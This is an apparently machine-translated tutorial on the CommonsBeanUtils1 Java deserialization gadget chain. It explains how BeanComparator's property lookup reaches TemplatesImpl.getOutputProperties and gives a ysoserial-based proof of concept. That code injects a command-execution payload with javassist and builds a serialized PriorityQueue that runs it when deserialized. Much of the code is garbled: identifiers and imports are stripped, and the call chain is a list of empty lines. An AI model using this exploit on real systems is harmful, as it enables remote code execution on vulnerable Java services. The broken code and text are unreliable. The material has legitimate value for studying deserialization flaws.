environmental preparation
JDK1.8(8u421) JDK8 version should have no effect, here directly to my mirror prevailed, commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.2, javassist:javassist:3.12.
Add the following dependencies to mvn:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.</version>
</dependency>
<!-- /artifact/commons-beanutils/commons-beanutils -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.1</version>
</dependency>
main body (of a book)
The CB chain uses the CC2 in theTemplatesImpl
of content, if you're not familiar with CC2 chains, read this first:/erosion2020/p/18553815
Once you know what constitutes an attack chain in CC2, it will be very easy for you to learn CB chaining, which can also be considered a variant of CC2 chaining, except that the point of deserialization is swapped out for thecommons-beanutils
Another class in theBeanComparator
The following explains how this class triggers theTemplatesImpl
The.
BeanComparator
BeanComparator
is a common class in Java that is often used to compare and sort Java bean objects in a collection. It implements theComparator
interface, the purpose of which is to sort an object according to one or more of its properties. In some frameworks (such as Apache Commons BeanUtils or similar libraries), theBeanComparator
is a common comparator implementation that simplifies comparison operations, especially when the object being compared is a Java bean.
basic role
-
Sort by specified attributes: It sorts based on the value of a property of a given Java bean. For example, if there is a
Person
class, which hasname
cap (a poem)age
attribute, you can use theBeanComparator
depending onname
maybeage
Performs an ascending or descending sort. -
dexterity:
BeanComparator
You can specify one or more attributes to be sorted, supporting more complex sorting logic. By utilizing Java reflection.BeanComparator
Ability to get the value of a bean's property and compare it.
You can specify one or more attributes to be sorted, supporting more complex sorting logicThis sentence is very important, and it is the fact that the BeanComparator can be sorted by field attributes that causes the attack chain to be triggered.
code analysis
public class BeanComparator<T> implements Comparator<T>, Serializable {
// Property field
private String property; // Wraps a Comparator field internally.
// Wraps a Comparator comparator internally.
private final Comparator<? > comparator.
// Call compare to compare the values of two objects.
public int compare(T o1, T o2) {
......
// is the key method
Object value1 = (o1, );
Object value2 = (o2, );
return (value1, value2);
.......
}
}
(Object bean, String name) {
// Focus on this getProperty method
return ().getProperty(bean, name);
}
// This method will be executed
public Object getProperty(Object bean, String name) {
return (bean, name); }
}
public Object getNestedProperty(Object bean, String name) {
......
if (bean instanceof Map) {
bean = ((Map)bean, name); } else if ((name)) { if ((Map)bean, name); }
} else if ((name)) {
bean = (bean, name); } else if ((name)) { bean = (bean, name); } else if ((name))
} else if ((name)) {
bean = (bean, name); } else { if ((name))
} else {
// Focus on this method, which will be triggered if the bean is a TemplatesImpl object that we constructed
bean = (bean, name); } else { // Focus on this method if the bean is a TemplatesImpl object we constructed.
}
......
return bean.
}
// This is the method that finally triggers the call chain code
public Object getSimpleProperty(Object bean, String name) {
// getPropertyDescriptor can be interpreted as getting all the property fields in the bean, and if there is a getter method for that field, it will also get it.
// Assuming the info field exists in the bean and the getInfo method, the field information in the PropertyDescriptor is as follows:
// The name field is info
// The readMethodName field is getOutputProperties.
PropertyDescriptor descriptor = (bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "'' on class '" + () + "'");
} else {
// The Method object corresponding to readMethodName is retrieved here
Method readMethod = ((), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + () + "'"); } else { readMethod = ((, descriptor))
} else {
// Execute the Method
// If the Method here is the getOutputProperties of our carefully constructed TemplatesImpl, then our attack chain code can be triggered
Object value = (readMethod, bean, EMPTY_OBJECT_ARRAY);
value; return value.
}
}
}
So having sorted out the above, what we need to do now is to construct a TemplatesImpl object, then create a BeanComparator, set the properties in it to the outputProperties field of the TemplatesImpl, and then after triggering the BeanComparator's compare method, if the
POC (based on ysoserial)
The old rules, this is still ysoserial code to take over the change, did not call ysoserial tools in the class, do not rely on tool libraries can be directly run local debugging.
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
public class CommonsBeanUtils1 {
static String serialFileName = "";
public static void main(String[] args) throws Exception {
// cb1bySerial();
verify();
}
public static void verify() throws Exception {
// Local Analog Deserialization
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ();
}
public static void cb1bySerial() throws Exception {
//==========================CC2Tectonics inTemplatescontent START==========================
String executeCode = "().exec(\"cmd /c start\");";
ClassPool pool = ();
CtClass evil = ("");
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
().insertAfter(executeCode);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
("" + ());
CtClass superC = (());
(superC);
final byte[] classBytes = ();
byte[][] trueclassbyte = new byte[][]{classBytes};
Class<TemplatesImpl> templatesClass = ;
TemplatesImpl templates = ();
Field bytecodes = ("_bytecodes");
(true);
(templates, trueclassbyte);
Field name = ("_name");
(true);
(templates, "Pwnr");
Field tfactory = ("_tfactory");
(true);
(templates, new TransformerFactoryImpl());
//==========================CB1chain trigger START==========================
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
// Here's how to get it to trigger the property method,This can be done in theset queuevalue without reporting an error。
(new BigInteger("1"));
(new BigInteger("1"));
// switch method called by comparator
// The corresponding property values are then reflected,This avoids triggering additional actions
Field property = ().getDeclaredField("property");
(true);
(comparator, "outputProperties");
// switch contents of queue
// queueThe same goes for the values in,by reflectionsetvalue will not trigger theheapfiyA series of actions such as
Field queueFiled = ().getDeclaredField("queue");
(true);
final Object[] queueArray = (Object[])(queue);
queueArray[0] = templates;
queueArray[1] = templates;
//====================CB1chain triggerEND===================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
(queue);
();
();
();
}
}
(of a computer) run
Try running the code to pop a cmd
call chain
The call chain is as follows
- ()
- ()
- ()
- ()
- ()
- ()
- ()
- ()
- ()
- ()
- ()
- ()
- ()
- ()
- ()
- ()
- (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance()
- ()
- ()
- ()